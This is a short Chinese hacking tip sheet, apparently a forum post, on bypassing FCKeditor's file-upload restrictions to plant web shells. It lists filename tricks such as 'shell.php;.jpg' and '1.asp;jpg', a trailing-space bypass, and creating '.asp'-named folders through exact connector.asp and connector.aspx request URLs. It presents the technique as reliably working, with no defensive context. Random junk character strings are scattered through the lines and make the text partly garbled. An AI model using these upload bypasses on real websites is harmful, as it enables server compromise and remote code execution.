很多时候上传的文件例如:shell.php.rar 或 shell.php;.jpg 会变为 shell_php;.jpg 这是新版 FCK 的变化,试试上传 1.asp;jpg
3 ]$ z2 w" h& ^7 t2 d# C
, J1 f- G% g5 \$ U提交 shell.php+空格 绕过,不过空格只支持 win 系统 *nix 是不支持的,shell.php 和 shell.php+空格 是 2 个不同的文件,未测试。
, B; f w! z- W" l; H7 O6 _, |; I! ]0 E) x8 u" r9 |
继续上传同名文件可变为 shell.php;(1).jpg,也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。. f6 f& ?2 X' G6 x7 ]4 v( F7 S
" o% z7 F) w% X3 \突破建立文件夹:
7 q- d. {% i. ^' r; z4 T2 h9 R5 V+ }5 U
. l9 {2 f5 Z& P7 D# Reditor/FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/qing.asp&NewFolderName=x.asp4 y$ H: m2 r0 Y1 Y5 b$ s7 H" |% {
8 d0 Q3 j6 {/ ]* i/ p* Y }7 b0 p参数:
1 d; @- Q, w% u( V1 ^4 S
* p* {: I% n% n. a' W( o4 D& J当前目录名:CurrentFolder=/qing.asp0 m* C n: I$ V; f6 X4 {3 _
! N* Z1 V$ j2 P- L9 U
新的目录名:NewFolderName=x.asp
; O$ D( a6 c5 _( ]/ p$ v
* T* w6 i) U+ E. I: {其实很简单,在目录那里写 x.asp,然后点击新建目录在弹出来的对话框中随便写……0 ]# z, ]) Y2 P# y
" F, |7 c6 N3 o6 z那么 x.asp 就已经建立生成了,此方法百试百灵!+ D% M& {: @2 t, m& B
$ a/ [& H, N/ e4 ]1 Q2 T
新建文件夹参数 x.asp,基本都能搞定。( ?, m% G k2 T8 n6 z3 z5 t
5 G; | Q% l- g5 z/ p( t) k% U下面这句话是要在1.asp下建立2.asp,当不存在1.asp时会先创建,只过滤了目标目录的创建 而没有过滤不存在目录的创建
$ f' L. H- Y( L) e p1 A3 a" {* \1 h+ v ^7 Q7 a
aspx/connector.aspx?Command=CreateFolder&Type=File&CurrentFolder=%2F1.asp&NewFolderName=2.asp7 K( E. V, o( \7 g/ D! e
9 s- p3 a) `* S" q8 {$ d2 V获取文件列表! W- v A/ q+ o, g# G
aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=%2F
k5 n7 V0 e+ B. f
% }% p% Y2 x' I: R/ n8 K: t |